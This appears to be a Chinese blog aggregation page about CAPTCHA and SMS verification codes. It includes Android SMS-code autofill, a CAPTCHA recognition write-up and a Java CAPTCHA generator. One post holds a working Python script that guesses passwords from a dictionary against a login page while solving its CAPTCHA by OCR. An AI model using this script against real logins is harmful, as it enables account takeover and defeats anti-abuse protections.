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  • 为了防止别人恶意刷短信验证码,当用户短时间内多次获取验证码的时候,需要调用腾讯验证码,验证成功后会继续自动发送验证码 ,刚开始的我一脸蒙蔽,网上搜索也没有多少相关文章,然而现在接通啦,发现很...
  • string yzm = 人口手大小多少上中下男女天地会反清复明杨中科小宝双儿命名空间语现在明天来多个的我山东河北南固安北京南昌东海西安沙河高教园学 + 木禾上下土个八入大天人火文六七儿九无口日中了子门月不开四五...
  • 完美验证码识别系统

    2018-01-07 03:49:10
    2.调用DLL识别,识别参数设置命令SetWmOption必须与你弄字库时候的设置参数一样,不然会导致识别率下降具体参数说明,请看调用例子里的[我的函数.txt]文档有对应参数说明. 3.如果遇见本工具无法识别的验证码,可以找群主...
  • 然后再回到界面进行短信填写,难免有多少有些不方便,为了提高用户体验,也就自己来实现验证码的自动填写功能  一、简介  之前笔者见过一些人实现思路这样:  创建一个广播接收器,接受短信变化...

    在我们的Android开发中会经常用到短信验证的功能,这个时候如果再让用户就查看短信.然后再回到界面进行短信的填写,难免有多少有些不方便,为了提高用户体验,我也就自己来实现验证码的自动填写功能

      一、简介

      之前笔者见过一些人的实现思路是这样的:

      创建一个广播接收器,接受短信变化的广播,然后在收到广播的时候,再把验证码提取出来发送给我们的需要填充验证码的地方就行了。 但是,这种方式有它的缺陷:当你的手机安装了其他一些短信应用(例如QQ通讯录)或者手机本身限制了权限的情况下,这种方式有可能会不起作用,无法做到自动填写,而且就算把优先级设高,也不能保证不会被别的应用抢先。 所以,通过查阅资料,发现了这种方式: 可以通过监听短信数据库的方式实现。监听短信数据库主要是通过ContentObserver这个类来完成。ContentObserver主要是通过Uri来监测特定的Databases的表,当ContentObserver所观察的Uri发生变化时,便会触发它。

      二、短信验证码自动填充的工具类

      /**

      短信验证码自动填充

      *

      * @author 周旭

      */

      public class SMSContentObserver extends ContentObserver {

      private Context mContext; // 上下文

      private Handler mHandler; // 更新UI线程

      private String code; // 验证码

      public SMSContentObserver(Context context, Handler handler) {

      super(handler);

      mContext = context;

      mHandler = handler;

      }

      /**

      回调函数当所监听的Uri发生改变时,就会回调此方法

      *

      注意当收到短信的时候会回调两次

      收到短信一般来说都是执行了两次onchange方法.第一次一般都是raw的这个.

      这个时候虽然收到了短信.但是短信还没有写入到收件箱里面

      然后才是另外一个,后面的数字是该短信在收件箱中的位置

      *

      * @param selfChange 此值意义不大 一般情况下该回调值false

      */

      @Override

      public void onChange(boolean selfChange, Uri uri) {

      Log.e("tag", uri.toString());

      // 第一次回调 不是我们想要的 直接返回

      if (uri.toString().equals("content://sms/raw")) {

      return;

      }

      // 第二次回调 查询收件箱里的内容

      Uri inboxUri = Uri.parse("content://sms/inbox");

      // 按时间顺序排序短信数据库

      Cursor c = mContext.getContentResolver().query(inboxUri, null, null,

      null, "date desc");

      if (c != null) {

      if (c.moveToFirst()) {

      // 获取短信提供商的手机号

      String address = c.getString(c.getColumnIndex("address"));

      // 获取短信内容

      String body = c.getString(c.getColumnIndex("body"));

      Log.i("tag", "body------->" + body);

      // 判断手机号是否为目标号码(短信提供商的号码)

      // 在这里我们的短信提供商的号码如果是固定的话.我们可以再加一个判断,这样就不会受到别的短信应用的验证码的影响了

      // 不然的话就在我们的正则表达式中,加一些自己的判断,例如短信中含有自己应用名字啊什么的...

      /*if (!address.equals("13342290623"))

      {

      Log.i("tag","------->没有读取到内容");

      return;

      }*/

      // 正则表达式截取短信中的6位验证码

      Pattern pattern = Pattern.compile("(\\d{6})");

      Matcher matcher = pattern.matcher(body);

      // 利用handler将得到的验证码发送给主线程

      if (matcher.find()) {

      code = matcher.group(0);

      //mHandler.obtainMessage(1, code).sendToTarget();

      Message msg = Message.obtain();

      msg.what = MainActivity.MSG_RECEIVE_CODE;

      msg.obj = code;

      mHandler.sendMessage(msg);

      }

      }

      c.close();

      }

      }

      }

      调用的Activity

      /**

      短信验证码自动填写功能的实现

      */public class MainActivity extends AppCompatActivity {

      public static final int MSG_RECEIVE_CODE = 1; //收到短信的验证码

      private EditText codeEdt; //短信验证码的输入框

      private SMSContentObserver smsContentObserver;

      //回调接口

      @SuppressLint("HandlerLeak")

      Handler handler = new Handler() {

      @Override

      public void handleMessage(Message msg) {

      if (msg.what == MSG_RECEIVE_CODE) {

      codeEdt.setText(msg.obj.toString()); //设置读取到的内容

      }

      }

      };

      @Override

      protected void onCreate(Bundle savedInstanceState) {

      super.onCreate(savedInstanceState);

      setContentView(R.layout.activity_main);

      codeEdt = (EditText) findViewById(R.id.smsCode);

      findViewById(R.id.send_sms_btn).setOnClickListener(new View.OnClickListener() {

      @Override

      public void onClick(View v) {

      senSMSCode();

      }

      });

      smsContentObserver = new SMSContentObserver(

      MainActivity.this, handler);

      //ContentObserver注册

      getContentResolver().registerContentObserver(

      Uri.parse("content://sms/"), true, smsContentObserver);

      }

      /**

      取消注册

      */

      @Override

      protected void onDestroy() {

      super.onDestroy();

      getContentResolver().unregisterContentObserver(smsContentObserver);

      }

      //使用Bmob云的短信验证功能来发送短信

      private void senSMSCode() {

      BmobSMS.requestSMSCode("13342290623", "知么网络", new QueryListener() {

      @Override

      public void done(Integer smsId, BmobException ex) {

      if (ex == null) {//验证码发送成功

      Log.i("smile", "短信id" + smsId);//用于后续的查询本次短信发送状态

      Toast.makeText(MainActivity.this, "发送验证码成功", Toast.LENGTH_SHORT).show();

      }

      }

      });

      }

      }

      添加权限

      <uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission android:name="android.permission.READ_SMS" />

      三、短信的Uri共有一下几种:

      content://sms/inbox 收件箱

      content://sms/sent 已发送

      content://sms/draft 草稿

      content://sms/outbox 发件箱 (正在发送的信息)

      content://sms/failed 发送失败

      content://sms/queued 待发送列表 (比如开启飞行模式后,该短信就在待发送列表里)

     

    来源:简书

    展开全文
  • 验证码识别续

    2017-02-09 15:42:49
    之前识别 成功率太感人… 想着这一段起码写出来点东西吧 ,比如把之前的完善下 … 我学长写过一个成功率 90 的,我问问他然后把我的看看多少弥补点 … 提升下吧 …构思: 学长说他的复杂,他 openCV 处理 ,然后...

    目的:
    之前识别 成功率太感人… 想着这一段起码写出来点东西吧 ,比如把之前的完善下 … 我学长写过一个成功率 90 的,我问问他然后把我的看看多少弥补点 … 提升下吧 …

    构思:
    学长说他的复杂,他是 openCV 处理 ,然后使用SVM 机器学习来识别,我之前的是利用 google 的 ORC 直接识别
    最后成果是 ,使用 openCV 处理图片 , 处理过后效果比较好, ORC 识别情况还不错 , 所以没有使用 SVM 机器学习

    效果图

    我的理解:
    低通滤波的效果相当于使模糊图片,减少噪点的影响,但是对识别数字 也有影响
    高斯滤波是对某些点更为”照顾“
    图像二值化,将图片变成只有黑白两种色
    我没有用到滤波 ~~ 我觉得没有效果也不错 ~~

    对我有帮助的连接:

        OpenCV Python教程(1、图像的载入、显示和保存)
        http://blog.csdn.net/sunny2038/article/details/9057415
    
        OpenCV-Python教程(5、初级滤波内容)
        http://blog.csdn.net/sunny2038/article/details/9155893
    
        图像的二值化之python+opencv
        http://blog.csdn.net/what_lei/article/details/49159655
    
        OpenCV 数字验证码识别  # C写的,有点遗憾 不过提供了主要的思路,帮助我写完了我的代码 #
        http://blog.csdn.net/monkeyduck/article/details/46932663
    

    代码:

    #coding:utf-8
    import requests
    import time
    import Image
    import pytesseract
    import cv2
    from optparse import OptionParser 
    
    def cmdParse():
        parser = OptionParser()
        parser.add_option("-f",dest="dicPath",default=False,help="dict file path")
        parser.add_option("-u",dest="user",default=False,help="user name")
        parser.add_option("--url",dest="url",default=False,help="The data post url. Like www.baidu.com")
    
        (option, args) = parser.parse_args()
        return option.dicPath, option.url, option.user
    
    ############# 验证码除噪
    
    def clearNoise():
        img = cv2.imread("img.jpg")
        grayImg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
        ret, twoImg = cv2.threshold(grayImg, 127, 255, cv2.THRESH_BINARY)
        cv2.imwrite("img.jpg",twoImg)
    
    ############# 验证码分析
    
    def Analysis():
        clearNoise()
        image = Image.open("img.jpg")
        return pytesseract.image_to_string(image)
    
    ############# 验证码保存
    
    def imgSave(s,url):
        urlCode = url + "/include/xxx.php"
        resp = s.get(urlCode)
        f = open("img.jpg","wb")
        f.write(resp.content)   
        f.close()
    
    def Payload(user,pwd,vaCode):
        return {"userid":user ,"pwd":pwd ,"gotopage":"xxx",
            "dopost":"xxx" ,"xxx":"xxxx" ,"validate":vaCode}
    
    def header():
        return {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}
    
    def main():
        i = 1
        xing = "*"
        truePwd = "......"
        dicPath, url, user = cmdParse()
        urlLogin = url + "/xxx/login.php"
        s = requests.session()
        # 打开字典文件
        for pwd in open(dicPath): 
            # 每条密码匹配5次
            for x in xrange(0,5):
                imgSave(s,url)
                vaCode = Analysis()
                print vaCode
                resp = s.post(urlLogin,data=Payload(user,pwd,vaCode),headers=header())
                resp.encoding = resp.apparent_encoding
    
                print x,xing*40,pwd
                if u"成功登录,正在转向管理管理主页!" in resp.text:
                    truePwd = pwd
                print "testing ........"
            if i%10==0:
                time.sleep(1)
            i = i + 1
        if truePwd != "......":
            print truePwd
    
    
    if __name__ == '__main__':
        main()
    展开全文
  • 前情:这篇文章所提及内容是博主上个暑假时候做,一直没有沉下心来把自己心得写在纸面上,所幸这个假期闲暇时候比较多,想着能写多少是多少,于是就有了此篇。 验证码也能破解? 关于验证码的介绍就不多说...

    前情:这篇文章所提及的内容是博主上个暑假时候做的,一直没有沉下心来把自己的心得写在纸面上,所幸这个假期闲暇时候比较多,想着能写多少是多少,于是就有了此篇。

    验证码?我也能破解?

    关于验证码的介绍就不多说了,各种各样的验证码在人们生活中时不时就会冒出来,博主身为东北大学的学生,日常接触最多的就是教务处系统的验证码了。
    东大的验证码一直被学生吐槽,太难输入了,不仅区分大小写,有些时候你明明输入正确了,却提示出错,而这个时候 禁止你的左键复制 也许该弹出来了。
    (不过16-17学年度教务处更改了验证码的内容,更方便人类操作了。)

    原始验证码

    可以看出教务处的验证码十分有规律,每个字母数字的大小位置形状等等都是固定的,这正适合毫无基础的初学者进行验证码的识别。

    识别办法

    模拟登陆有着复杂的步骤,在这里咱们不管其他操作,只负责根据输入的一张验证码图片返回一个答案字符串。

    我们知道验证码为了制作干扰,会把图片弄成五颜六色的样子,而我们首先就是要去除这些干扰,这一步就需要不断试验了,增强图片色彩,加大对比度等等都可以产生帮助。

    增强

    选出全黑像素

    在经过各种对图片的操作之后,终于找到了比较完美的去除干扰方案。可以看到在去除干扰之后,最优情况下,我们将得到一张十分纯净的黑白字符图片。一张图片上有四个字符,没办法一下子就把四个字符全部识别,需要把图片进行裁剪,裁剪成每张小图只有一个字符的样子,再对每张图片分别进行识别。

    6

    +

    5

    =

    接下来就是识别文字了,我们首先把得到的小图转换成01表示的矩阵,每个矩阵代表一个字符。
    比如数字六的矩阵

    num_6=[
    0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,1,1,0,0,0,0,0,0,
    0,0,0,0,1,1,1,0,0,0,0,0,0,
    0,0,0,1,1,1,0,0,0,0,0,0,0,
    0,0,0,1,1,0,0,0,0,0,0,0,0,
    0,0,1,1,0,0,0,0,0,0,0,0,0,
    0,0,1,1,0,0,0,0,0,0,0,0,0,
    0,1,1,1,1,1,1,1,0,0,0,0,0,
    0,1,1,1,1,1,1,1,1,0,0,0,0,
    0,1,1,0,0,0,0,1,1,1,0,0,0,
    0,1,1,0,0,0,0,0,1,1,0,0,0,
    0,1,1,0,0,0,0,0,1,1,0,0,0,
    0,1,1,1,0,0,0,1,1,1,0,0,0,
    0,0,1,1,1,1,1,1,1,0,0,0,0,
    0,0,0,1,1,1,1,1,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,
    0,0,0,0,0,0,0,0,0,0,0,0,0,
    ]

    远远望过去,眯着眼睛还是能分辨出来的。
    因为东大教务处的验证码十分规整,每个数字所在的位置都是固定的,所以并不需要涉及什么机器学习的算法,只是简单的进行一下矩阵的比对就可以了,在所有的实现做好的矩阵中找到相似度最高的矩阵就可以了,在这里的比对方法多种多样,反正数据简单能正确识别出来就好。

    至此,咱们的验证码识别工作就结束了。

    小结

    这次进行的验证码识别主要采用python的PIL进行图片操作,模拟登陆自动填写验证码的全部代码请看

    xfangfang’s Github

    关于NEU教务处模拟登陆教程的其他部分敬请期待!!!

    转载于:https://www.cnblogs.com/xfangs/p/6500611.html

    展开全文
  • 标准图片验证码生成

    2010-12-10 16:57:57
    (当然这其中一张而已,由于背景色都随机生成的,所有漂亮方面嘿嘿 自己选择咯 要死感觉那种好看 直接就把程序中的颜色写死 好了 嘿嘿 ) 不多少 贴代码 为了 进一步锻炼我的 编码规范 尽量不要出现荣冗余的代码...

    唉 很辛苦啊 花费了我 一下午的时间 来写图片验证码,总算是小有功效 。

    嘿嘿 废话少说,先看效果!



     

    嗯 整体感觉 还不错 嘿嘿 。(当然这是其中一张而已,由于背景色都是随机生成的,所有漂亮方面嘿嘿 自己选择咯 要死感觉那种好看 直接就把程序中的颜色写死 好了 嘿嘿 ) 不多少 贴代码 为了 进一步锻炼我的 编码规范 尽量不要出现荣冗余的代码 尽量把代码 写的美观一点 嘿嘿 下面就晒一下我的 代码咯 希望大家 一起讨论进步哈 ,有不对的地方 可以还请指教!谢谢!

     

    package com.dk.util;

    import java.awt.*;
    import java.awt.image.BufferedImage;
    import java.io.File;
    import java.io.IOException;
    import java.util.Random;

    import javax.imageio.ImageIO;

    public class ValidateCode {
     /**
     * @see    图片验证码提供类
     * @author 邓葵 QQ:467529125 <E-mail:467529125@qq.com>
     * @param  属性说明:
     * @param  imageBuffer   生成图片对象
     * @param  fontSize      图片码字体大小 初始化参数为:35
     * @param  positionStr1  第一个位置的字符
     * @param  positionStr2  第二个位置的字符
     * @param  positionStr3  第三个位置的字符
     * @param  positionStr4  第四个位置的字符
     * @param  imageStr      图片上的字符
     * @param  imageWidth    图片初始化宽度   初始化宽度为:200
     * @param  imageHeight   图片初始化高度   初始化高度为:50
     * @param  random        产生随机数机器
     * @param  String[] collectStr  所有字符产生集合
     * @param  Graphics2D g  绘图对象
     * @param  fontType      图片码字体类型 初始化参数为:微软雅黑
     * @param  imageFilePath 验证码输出路径
     * @param
     * @param
     * @param  方法说明:
     * @param  Color getColor();           产生一个随机背景色
     * @param  Color reverseColor(Color c) 产生一个随机背景色的反色(即设置为图片字体颜色)
     * @param  methodForGetImageStr()      获得从String字符集合中产生的4个字符
     * @param  methodForDrawImagePic()     使用绘图对象Grahics2D g对象绘制验证码图形
     * @param  methodForOutPutImageToClient() 将图片输出到客户端
     * @param  ValidateCode()              图片验证码生成入口
     * @param
     */

     private BufferedImage imageBuffer = null;    /*生成图片对象*/
     
     private int fontSize = 35;                     /*图片码字体大小 初始化参数为:35*/
         
     private String fontType ="微软雅黑";           /*图片码字体类型 初始化参数为:微软雅黑*/
     
     private String positionStr1;                   /*第一个位置的字符*/
     
     private String positionStr2;                   /*第二个位置的字符*/
     
     private String positionStr3;                   /*第三个位置的字符*/

     private String positionStr4;                /*第四个位置的字符*/
      
     private String imageStr;                       /*图片上的字符*/
     
     private int imageWidth = 200;                  /*图片初始化宽度*/
     
     private int imageHeight = 50;                  /*图片初始化高度*/
     
     private String imageFilePath = "c:validateImage.jpg";             /*验证码输出路径*/
     
     private static Random random = new Random();    /*产生随机数机器*/

     
     
     public static Color getColor() {               /*产生一个随机背景色*/
      return new Color(random.nextInt(255), random.nextInt(255), random.nextInt(255)); 
     }

     
     public static Color reverseColor(Color c) {    /*产生一个随机背景色的反色(即设置为图片字体颜色)*/
      return new Color(255 - c.getRed(), 255 - c.getGreen(), 255 - c.getRed());
     }

     
     private String methodForGetImageStr() {         /* 获得从String[] collectStr字符集合中产生的4个字符*/
       //所有字符产生集合
       String[] collectStr  = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
        "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
        "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7",
        "8", "9", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
        "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V",
        "W", "X", "Y", "Z" };
      //产生每一个字符串位置的随机字符
      positionStr1 = collectStr[random.nextInt(collectStr.length)];
      positionStr2 = collectStr[random.nextInt(collectStr.length)];
      positionStr3 = collectStr[random.nextInt(collectStr.length)];
      positionStr4 = collectStr[random.nextInt(collectStr.length)];
      
      //将以上随机字符组合成图片四个随机字符
      imageStr = positionStr1 + positionStr2 + positionStr3 + positionStr4;
      
      //加上空格显示在以便于显示在图片上看起来不是那么紧凑
      String str = positionStr1 + " " + positionStr2 + " " + positionStr3 + " " + positionStr4;
      
      return str;
     }
     
     
     private void methodForDrawImagePic() {  /*使用绘图对象Grahics2D g对象绘制验证码图形*/
      
      
      //获取绘图对象
      Graphics2D g = imageBuffer.createGraphics();
      
      //绘制干扰线大小为0-3F粗细
      g.setStroke(new BasicStroke((float)(random.nextInt(3))));
      
      //获取背景颜色
      Color color = this.getColor();
      
      //设置背景颜色
      g.setColor(color);
      
      //设置背景颜色从x=0,y=0开始化 背景色区域宽度为:imageWidth 背景色区域高度为:imageHeight
      g.fillRect(0, 0, imageWidth, imageHeight);
      
      //产生10条干扰线条
      for (int i = 0; i < 10; i++) {
       
       //设置干扰线输出的随机颜色
       g.setColor(new Color(random.nextInt(255), random.nextInt(255),random.nextInt(255)));
       //随机输出干扰线在图片的位置
       g.drawLine(random.nextInt(200),random.nextInt(50),random.nextInt(200),random.nextInt(50)); 
       
      }

      //随机产生100个噪音点
      for (int i = 0; i < 100; i++) {
       
       //设置噪音点的大小宽度:0 高度:1 覆盖整个图片区域
       g.drawRect(random.nextInt(imageWidth), random.nextInt(imageHeight), 0, 1);
       
      }

      //设置字体大小,字体类型
      g.setFont(new Font(fontType, Font.BOLD, fontSize));
      
      
      //获取图片上的四个字符
      String str = methodForGetImageStr();
      
      //取得背景色的反色
      Color reverseColor = reverseColor(color);
      
      //设置字体颜色为背景颜色的反色
      g.setColor(reverseColor);
      
      //将文字字符画在图片上
      g.drawString(str, 30, 40);
     }

     
     private void methodForOutPutImageToClient() throws IOException {     /*将图片输出到客户端*/
      
      //生成图片
       methodForDrawImagePic();
         //使用ImageIO对象直接将imageBuffer对象以JPG 的格式传给客户端
      ImageIO.write(imageBuffer, "jpg", new File(imageFilePath));
     }
     
     
     //图片验证码生成入口
     public ValidateCode() {
      try {
       imageBuffer = new BufferedImage(imageWidth, imageHeight, BufferedImage.TYPE_INT_RGB);
       methodForOutPutImageToClient();
      } catch (Exception e) {
       e.printStackTrace();
      }
     }

     
     // 返回图片验证码字符
     public String getImageStr() {
      return imageStr;
     }


     public static void main(String args[]) {
      ValidateCode code = new ValidateCode();
      System.out.println("验证码字符:\t"+code.getImageStr());
     }
    }

     

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    千次阅读 2018-06-05 12:00:10
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空空如也

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